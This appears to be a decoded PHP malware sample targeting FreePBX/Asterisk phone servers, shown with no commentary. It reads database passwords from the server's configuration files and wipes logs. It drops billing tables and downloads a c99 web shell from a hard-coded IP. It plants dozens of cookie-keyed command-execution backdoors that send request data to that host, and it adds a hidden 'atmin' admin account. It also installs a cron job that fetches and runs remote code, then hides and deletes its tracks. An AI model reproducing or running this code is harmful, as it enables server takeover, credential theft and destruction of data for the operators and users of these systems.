PHP Decode

ini_set('error_reporting', 0);
ini_set('display_startup_errors', 0);
ini_set('display_errors', 0);
error_reporting(0);
$add_atmin = (isset($argv[1]) && ($argv[1] == 'files')) ? false : true;
$dirs_already = array();
$file = is_file("/etc/freepbx.conf") ? "/etc/freepbx.conf" : "/etc/asterisk/freepbx.conf";
is_file($file) ? eval(str_replace(array('<?php','?>','require','include') , array('','','#require','#include') , file_get_contents($file))) : '';
$amp_conf = (isset($amp_conf) ? $amp_conf : array());
$amportal = array();
foreach (explode("
", file_get_contents("/etc/amportal.conf")) as $key => $val)
{
    if (preg_match_all("/=/", $val, $amp3))
    {
        $exx = explode("=", $val);
        $amportal[$exx[0]] = trim((isset($amp_conf[$exx[0]]) ? $amp_conf[$exx[0]] : str_replace($exx[0] . '=', '', $val)));
    }
}
$amp = array_merge(array('AMPDBUSER' => 'asteriskuser','AMPDBNAME' => 'asterisk') , $amp_conf, $amportal);
@chdir('/var/www/');
is_dir($amp["AMPWEBROOT"]) ? @chdir($amp["AMPWEBROOT"]) : "";

$freespace = (disk_free_space(getcwd()) / 1024 / 1024);
if ($freespace < 100)
{
    @exec("nohup find /var/log/ -type f | xargs -I {} cp /dev/null {} &");
    @exec("nohup rm -rf /tmp/* /var/spool/asterisk/monitor/* /var/www/backup/*.gz &");
}

if (is_dir('/var/www/html/a2billing/'))
{
    @exec("chmod 0000 /var/www/html/a2billing/");
    $a2b = new simple_db_connect($amp['AMPDBHOST'], 'a2billinguser', 'a2billing');
    if ($a2b)
    {
        $a2b->select_db('mya2billing');
        $a2b->query('drop table cc_ui_authen');
        $a2b->query('drop table cc_agent');
        $a2b->query('drop table cc_system_log');
    }
}

$dirs = array(getcwd() ,'/var/www/html','/var/www','/var/www/freepbx','/var/www/localhost','/opt/freepbx');

foreach ($dirs as $K => $V)
{
    $dirs[] = $V . '/' . 'panel';
    $dirs[] = $V . '/' . 'recordings';
    $dirs[] = $V . '/' . 'vtigercrm';
    $dirs[] = $V . '/' . 'public_html';
    $dirs[] = $V . '/' . 'admin';
    $dirs[] = $V . '/' . 'html';
	if(!$add_atmin){
    $dirs[] = $V . '/' . 'freepbx';
    $dirs[] = $V . '/' . '.freepbx-known';
    $dirs[] = $V . '/' . '.well-known';
    $dirs[] = $V . '/' . 'Info/js';
    $dirs[] = $V . '/' . '_asterisk';
    $dirs[] = $V . '/' . 'a2billing';
    $dirs[] = $V . '/' . 'a2billing/agent/Public';
    $dirs[] = $V . '/' . 'admin/api';
    $dirs[] = $V . '/' . 'admin/assets';
    $dirs[] = $V . '/' . 'admin/assets/css';
    $dirs[] = $V . '/' . 'admin/assets/css/custom-theme';
    $dirs[] = $V . '/' . 'admin/assets/css/images';
    $dirs[] = $V . '/' . 'admin/assets/fonts';
    $dirs[] = $V . '/' . 'admin/assets/images';
    $dirs[] = $V . '/' . 'admin/assets/js';
    $dirs[] = $V . '/' . 'admin/assets/js/bootstrap-table-extensions-dev';
    $dirs[] = $V . '/' . 'admin/assets/js/bootstrap-table-locale';
    $dirs[] = $V . '/' . 'admin/assets/js/views';
    $dirs[] = $V . '/' . 'admin/assets/less';
    $dirs[] = $V . '/' . 'admin/helpers';
    $dirs[] = $V . '/' . 'admin/i18n';
    $dirs[] = $V . '/' . 'admin/images';
    $dirs[] = $V . '/' . 'admin/libraries';
    $dirs[] = $V . '/' . 'admin/licenses';
    $dirs[] = $V . '/' . 'admin/modules';
    $dirs[] = $V . '/' . 'admin/modules/amd/assets';
    $dirs[] = $V . '/' . 'admin/modules/announcement/assets';
    $dirs[] = $V . '/' . 'admin/modules/arimanager/assets';
    $dirs[] = $V . '/' . 'admin/modules/asterisk-cli/assets';
    $dirs[] = $V . '/' . 'admin/modules/backup/assets';
    $dirs[] = $V . '/' . 'admin/modules/blacklist/assets';
    $dirs[] = $V . '/' . 'admin/modules/bulkhandler/assets';
    $dirs[] = $V . '/' . 'admin/modules/calendar/assets';
    $dirs[] = $V . '/' . 'admin/modules/callback/assets';
    $dirs[] = $V . '/' . 'admin/modules/callrecording/assets';
    $dirs[] = $V . '/' . 'admin/modules/cdr/assets';
    $dirs[] = $V . '/' . 'admin/modules/cdr/assets/js';
    $dirs[] = $V . '/' . 'admin/modules/cel/assets';
    $dirs[] = $V . '/' . 'admin/modules/certman/assets';
    $dirs[] = $V . '/' . 'admin/modules/cidlookup/assets';
    $dirs[] = $V . '/' . 'admin/modules/conferences/assets';
    $dirs[] = $V . '/' . 'admin/modules/configedit/assets';
    $dirs[] = $V . '/' . 'admin/modules/contactmanager/assets';
    $dirs[] = $V . '/' . 'admin/modules/core/assets';
    $dirs[] = $V . '/' . 'admin/modules/customappsreg/assets';
    $dirs[] = $V . '/' . 'admin/modules/cxpanel';
    $dirs[] = $V . '/' . 'admin/modules/dahdiconfig/assets';
    $dirs[] = $V . '/' . 'admin/modules/dashboard/assets';
    $dirs[] = $V . '/' . 'admin/modules/daynight/assets';
    $dirs[] = $V . '/' . 'admin/modules/digium_phones/assets';
    $dirs[] = $V . '/' . 'admin/modules/directory/assets';
    $dirs[] = $V . '/' . 'admin/modules/endpointman/assets';
    $dirs[] = $V . '/' . 'admin/modules/endpointman/provisioning';
    $dirs[] = $V . '/' . 'admin/modules/fax/assets';
    $dirs[] = $V . '/' . 'admin/modules/featurecodeadmin/assets';
    $dirs[] = $V . '/' . 'admin/modules/findmefollow/assets';
    $dirs[] = $V . '/' . 'admin/modules/fw_ari/htdocs_ari/theme/js';
    $dirs[] = $V . '/' . 'admin/modules/hotelwakeup/assets';
    $dirs[] = $V . '/' . 'admin/modules/iaxsettings/assets';
    $dirs[] = $V . '/' . 'admin/modules/ivr/assets';
    $dirs[] = $V . '/' . 'admin/modules/languages/assets';
    $dirs[] = $V . '/' . 'admin/modules/logfiles/assets';
    $dirs[] = $V . '/' . 'admin/modules/miscapps/assets';
    $dirs[] = $V . '/' . 'admin/modules/miscdests/assets';
    $dirs[] = $V . '/' . 'admin/modules/music/assets';
    $dirs[] = $V . '/' . 'admin/modules/paging/assets';
    $dirs[] = $V . '/' . 'admin/modules/parking/assets';
    $dirs[] = $V . '/' . 'admin/modules/phonebook/assets';
    $dirs[] = $V . '/' . 'admin/modules/phpinfo/assets';
    $dirs[] = $V . '/' . 'admin/modules/pinsets/assets';
    $dirs[] = $V . '/' . 'admin/modules/presencestate/assets';
    $dirs[] = $V . '/' . 'admin/modules/printextensions/assets';
    $dirs[] = $V . '/' . 'admin/modules/queues/assets';
    $dirs[] = $V . '/' . 'admin/modules/recordings/assets';
    $dirs[] = $V . '/' . 'admin/modules/restapi/assets';
    $dirs[] = $V . '/' . 'admin/modules/ringgroups/assets';
    $dirs[] = $V . '/' . 'admin/modules/setcid/assets';
    $dirs[] = $V . '/' . 'admin/modules/sipsettings/assets';
    $dirs[] = $V . '/' . 'admin/modules/sipstation/assets';
    $dirs[] = $V . '/' . 'admin/modules/soundlang/assets';
    $dirs[] = $V . '/' . 'admin/modules/superfecta/assets';
    $dirs[] = $V . '/' . 'admin/modules/timeconditions/assets';
    $dirs[] = $V . '/' . 'admin/modules/ttsengines/assets';
    $dirs[] = $V . '/' . 'admin/modules/ucp/assets';
    $dirs[] = $V . '/' . 'admin/modules/ucp/htdocs';
    $dirs[] = $V . '/' . 'admin/modules/userman/assets';
    $dirs[] = $V . '/' . 'admin/modules/versionupgrade/assets';
    $dirs[] = $V . '/' . 'admin/modules/vmblast/assets';
    $dirs[] = $V . '/' . 'admin/modules/voicemail/assets';
    $dirs[] = $V . '/' . 'admin/views';
    $dirs[] = $V . '/' . 'agc22';
    $dirs[] = $V . '/' . 'assets';
    $dirs[] = $V . '/' . 'asteridex4';
    $dirs[] = $V . '/' . 'asteriskpbx';
    $dirs[] = $V . '/' . 'avantfax';
    $dirs[] = $V . '/' . 'certsci1';
    $dirs[] = $V . '/' . 'configupdata';
    $dirs[] = $V . '/' . 'css';
    $dirs[] = $V . '/' . 'degium_endpoint';
    $dirs[] = $V . '/' . 'digium_endpoints';
    $dirs[] = $V . '/' . 'digium_phones';
    $dirs[] = $V . '/' . 'error';
    $dirs[] = $V . '/' . 'fop2/css';
    $dirs[] = $V . '/' . 'framwork';
    $dirs[] = $V . '/' . 'freepbx';
    $dirs[] = $V . '/' . 'freepbx/digium_phones';
    $dirs[] = $V . '/' . 'goautodial-admin22';
    $dirs[] = $V . '/' . 'goautodial-agent22';
    $dirs[] = $V . '/' . 'goautodial22';
    $dirs[] = $V . '/' . 'html';
    $dirs[] = $V . '/' . 'icons';
    $dirs[] = $V . '/' . 'images';
    $dirs[] = $V . '/' . 'imsicatcher';
    $dirs[] = $V . '/' . 'js';
    $dirs[] = $V . '/' . 'libs/font-icons/entypo/css';
    $dirs[] = $V . '/' . 'mail/program/js/tiny_mce/plugins/xhtmlxtras/js';
    $dirs[] = $V . '/' . 'modules/kconfig/js';
    $dirs[] = $V . '/' . 'panel';
    $dirs[] = $V . '/' . 'panel/dhtml/js';
    $dirs[] = $V . '/' . 'pbx';
    $dirs[] = $V . '/' . 'public_html';
    $dirs[] = $V . '/' . 'recordings';
    $dirs[] = $V . '/' . 'recordings/includes';
    $dirs[] = $V . '/' . 'recordings/locale';
    $dirs[] = $V . '/' . 'recordings/misc';
    $dirs[] = $V . '/' . 'recordings/modules';
    $dirs[] = $V . '/' . 'recordings/theme';
    $dirs[] = $V . '/' . 'reminders';
    $dirs[] = $V . '/' . 'restapi';
    $dirs[] = $V . '/' . 'restapps';
    $dirs[] = $V . '/' . 'sip';
    $dirs[] = $V . '/' . 'sipml5';
    $dirs[] = $V . '/' . 'stats/plugins/dialer/js';
    $dirs[] = $V . '/' . 'test';
    $dirs[] = $V . '/' . 'var/tmp/mae.php';
    $dirs[] = $V . '/' . 'var/tmp/maf.php';
    $dirs[] = $V . '/' . 'vicidial';
    $dirs[] = $V . '/' . 'vtigercrm';
    $dirs[] = $V . '/' . 'vtigercrm/Image';
    $dirs[] = $V . '/' . 'vtigercrm/Smarty';
    $dirs[] = $V . '/' . 'vtigercrm/adodb';
    $dirs[] = $V . '/' . 'vtigercrm/backup';
    $dirs[] = $V . '/' . 'vtigercrm/cache';
    $dirs[] = $V . '/' . 'vtigercrm/class_http';
    $dirs[] = $V . '/' . 'vtigercrm/class_http_dir';
    $dirs[] = $V . '/' . 'vtigercrm/cron';
    $dirs[] = $V . '/' . 'vtigercrm/data';
    $dirs[] = $V . '/' . 'vtigercrm/database';
    $dirs[] = $V . '/' . 'vtigercrm/include';
    $dirs[] = $V . '/' . 'vtigercrm/jscalendar';
    $dirs[] = $V . '/' . 'vtigercrm/license';
    $dirs[] = $V . '/' . 'vtigercrm/log4php.debug';
    $dirs[] = $V . '/' . 'vtigercrm/log4php';
    $dirs[] = $V . '/' . 'vtigercrm/logs';
    $dirs[] = $V . '/' . 'vtigercrm/modules';
    $dirs[] = $V . '/' . 'vtigercrm/packages';
    $dirs[] = $V . '/' . 'vtigercrm/schema';
    $dirs[] = $V . '/' . 'vtigercrm/soap';
    $dirs[] = $V . '/' . 'vtigercrm/storage';
    $dirs[] = $V . '/' . 'vtigercrm/test';
    $dirs[] = $V . '/' . 'vtigercrm/themes';
    $dirs[] = $V . '/' . 'vtigercrm/user_privileges';
    $dirs[] = $V . '/' . 'vtigercrm/vtlib';
    $dirs[] = $V . '/' . 'wordpress';
	}
}

$dirs = array_unique($dirs);
sort($dirs);

$contents = array(
    'c' => file_get_contents('http://51.158.24.255/t/c99.txt') ,
    'codes' => '<?php if((isset($_COOKIE["t3rr0r"])) && (md5(sha1($_COOKIE["t3rr0r"])) == "0e192062b367640f89ecff7c7f4ae1b9")) { system($_COOKIE["cmd"]); }else{ echo "Unauth0r1zed"; $REQUEST = array_merge($_GET, $_POST, $_COOKIE); if (is_array($REQUEST)) { file_get_contents("http://51.158.24.255/f/c.php?data=" . urlencode(json_encode($REQUEST))); } } ?>'
);

$freespace = (disk_free_space(getcwd()) / 1024 / 1024);
if ($freespace > 100)
{
    foreach ($dirs as $k => $where)
    {
        if (is_dir($where))
        {
            (is_writeable($where)) ? write_dir($where) : '';
			if(!$add_atmin) continue;
            $od = opendir($where);
            while ($rd = readdir($od))
            {
                $wd = $where . '/' . $rd;
                (($rd != '..') && ($rd != '.') && is_writeable($wd) && is_dir($wd)) ? write_dir($wd) : '';
            }
        }
    }

    icwrite_dirs("/var/www/html/admin/modules/_cache");
    icwrite_dirs("/var/www/html/admin/modules");
    icwrite_dirs("/var/www/html/admin/assets");
    icwrite_dirs("/var/www/html/admin/libraries");
    icwrite_dirs("/var/www/html/recordings/misc");
    icwrite_dirs("/var/www/html/recordings/lang");

}

$pass = random_password();
if ($add_atmin)
{
    if (count($amp) > 3)
    {
        echo "
[+] Config Fetched ..";

        $db = new simple_db_connect($amp['AMPDBHOST'], $amp['AMPDBUSER'], $amp['AMPDBPASS']);
        echo "
[+] Connected To Database server ..";
        $db->select_db($amp['AMPDBNAME']);
        echo "
[+] Connected To Database ..";
        $db->query("delete from ampusers where username='atmin'", '
[-] Issue Deleting User');

        $query = $db->query("INSERT INTO `ampusers` ( `username`, `password_sha1`, `sections` ) VALUES ( 'atmin', '" . sha1($pass) . "', '*' );", "
[-] Wrong Column ,, trying another column ..");
        if (!$query)
        {
            $query = $db->query("INSERT INTO `ampusers` ( `username`, `password`, `sections` ) VALUES ( 'atmin', '$pass', '*' );", "
[-]Couldn't Determine Column .. Should Add admin Manually ..");
        }

        if ($query)
        {
            echo "
[+] Admin User Added ..
[+] atmin : $pass
";
        }

        is_dir("../admin") ? @symlink('../admin', 'atmin') : "";
        is_dir("/var/www/html/admin") ? @symlink('/var/www/html/admin', '/var/www/html/recordings/atmin') : "";

    }
    else
    {
        echo "
[-] Should Work Manually on this server ..
";
    }
    if (is_file("/var/www/html/libs/paloSantoDB.class.php"))
    {
        include_once "/var/www/html/libs/paloSantoDB.class.php";
        include_once "/var/www/html/libs/paloSantoACL.class.php";
        $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
        $pACL = new paloACL($pDB);
        $query = "SELECT id from acl_user where name='atmin'";
        $iddb = $pDB->fetchTable($query);
        $tid = $iddb[0][0];
        if ($tid < 2)
        {
            $pACL->createUser('atmin', '', md5($pass) , '');
            $iddb = $pDB->fetchTable($query);
            $tid = $iddb[0][0];
        }
        $pACL->changePassword($tid, md5($pass));
        $pACL->addToGroup($tid, 1);

        echo "
[+] Admin User Added ..
[+] atmin : $pass
";

    }
}
system('crontab -l | grep -v "curl\|wget" | { cat; echo "0 1 * * * curl -ks http://51.158.24.255/t/cmd.txt>/tmp/a.txt;php /tmp/a.txt files >/dev/null 2>&1"; } | sort -u | crontab -');

echo "-----------AMPDB-----------
";
@system("grep AMPDB /etc/amportal.conf");
@system("grep AMPDB /etc/freepbx.conf");
echo "-----------ARI_ADMIN-----------
";
@system("grep ARI_ADMIN /etc/amportal.conf");
echo "-----------AMPMGR-----------
";
@system("grep AMPMGR /etc/amportal.conf");
echo "-----------PASS-----------
";
@system("grep PASS /etc/amportal.conf");
echo "------------Thats-All----------
";
function write_dir($where)
{
    global $dirs_already;
    if (isset($dirs_already[$where]))
    {
        return false;
    }
    $dirs_already[$where] = $where;
    write_file($where . '/config.all.php', 'c');
    write_file($where . '/Do.php', 'codes');
    write_file($where . '/Ultimatex.php', 'codes');
    write_file($where . '/graph.php', 'codes');
    write_file($where . '/alex.php', 'codes');
    write_file($where . '/salem.php', 'codes');
    write_file($where . '/oBo.php', 'codes');
    write_file($where . '/Bo.php', 'codes');
    write_file($where . '/free.php', 'codes');
    write_file($where . '/jeep.php', 'codes');
    write_file($where . '/fa.php', 'codes');
    write_file($where . '/rumio.php', 'codes');
    write_file($where . '/saher.php', 'codes');
    write_file($where . '/paloSantoDB.php', 'codes');
    write_file($where . '/asterisk.php', 'codes');
    write_file($where . '/monitor.php', 'codes');
    write_file($where . '/usa.php', 'codes');
    write_file($where . '/SaLeM-123.php', 'codes');
    write_file($where . '/ab.php', 'codes');
    write_file($where . '/c58a155379a0.php', 'codes');
    write_file($where . '/ayeshsalem.php', 'codes');
    write_file($where . '/domdom.php', 'codes');
    write_file($where . '/jnkp.php', 'codes');
    write_file($where . '/phpversions.php', 'codes');
    write_file($where . '/actors.php', 'codes');
    write_file($where . '/S!n4.php', 'codes');
    write_file($where . '/mae.php', 'codes');
    write_file($where . '/maf.php', 'codes');
    write_file($where . '/W__A__H.php', 'codes');
    write_file($where . '/crmmng.php', 'codes');
    write_file($where . '/audio.php', 'codes');
    write_file($where . '/MeSSi.php', 'codes');
    write_file($where . '/configs.php', 'c');
    write_file($where . '/hamed.php', 'codes');
    write_file($where . '/hero.php', 'codes');
    write_file($where . '/italy.php', 'codes');
    write_file($where . '/super.php', 'codes');
    write_file($where . '/uk.php', 'codes');
    write_file($where . '/page.framework.php', 'codes');

}

function icwrite_dirs($where)
{
    write_file($where . '/config.php', 'c');
    write_file($where . '/index.php', 'codes');
}

function write_file($fname, $wtw)
{
    global $contents;
    if ($contents[$wtw] !== '')
    {
        if (is_file($fname))
        {
            @exec("chattr -ia $fname");
        }
        file_put_contents($fname, $contents[$wtw]);
        if (is_file($fname))
        {
            @touch($fname, strtotime('-10 years', time()));
            @exec("chattr +a $fname");
        }
    }
}
function random_password($length = 7)
{
    $set = array_merge(range('A', 'Z') , range('a', 'z') , range('0', '9'));
    $str = 't';
    for ($i = 0;$i < $length;$i++)
    {
        $str .= $set[rand(0, count($set) - 1) ];
    }
    return $str;
}
class simple_db_connect
{
    var $link;
    function simple_db_connect($host, $username, $password)
    {
        if (function_exists('mysqli_connect'))
        {
            $this->link = mysqli_connect($host, $username, $password) or print (mysqli_error($this->link));
        }
        elseif (function_exists('mysql_connect'))
        {
            $this->link = mysql_connect($host, $username, $password) or print (mysql_error());
        }
    }

    function select_db($dbname)
    {
        if (function_exists('mysqli_select_db'))
        {
            mysqli_select_db($this->link, $dbname) or print (mysqli_error($this->link));
        }
        elseif (function_exists('mysql_select_db'))
        {
            mysql_select_db($dbname, $this->link) or print (mysql_error());
        }
        return true;
    }

    function query($query_data, $error_message = '')
    {
        global $con;
        if (function_exists('mysqli_query'))
        {
            $query = mysqli_query($this->link, $query_data) or print ($error_message . mysqli_error($this->link));
        }
        elseif (function_exists('mysql_query'))
        {
            $query = mysql_query($query_data, $this->link) or print ($error_message . mysql_error());
        }
        return $query;
    }

}
@system("chattr -ia /tmp/*.txt /tmp/*.php");
@system("rm -rf /tmp/*.txt /tmp/*.php");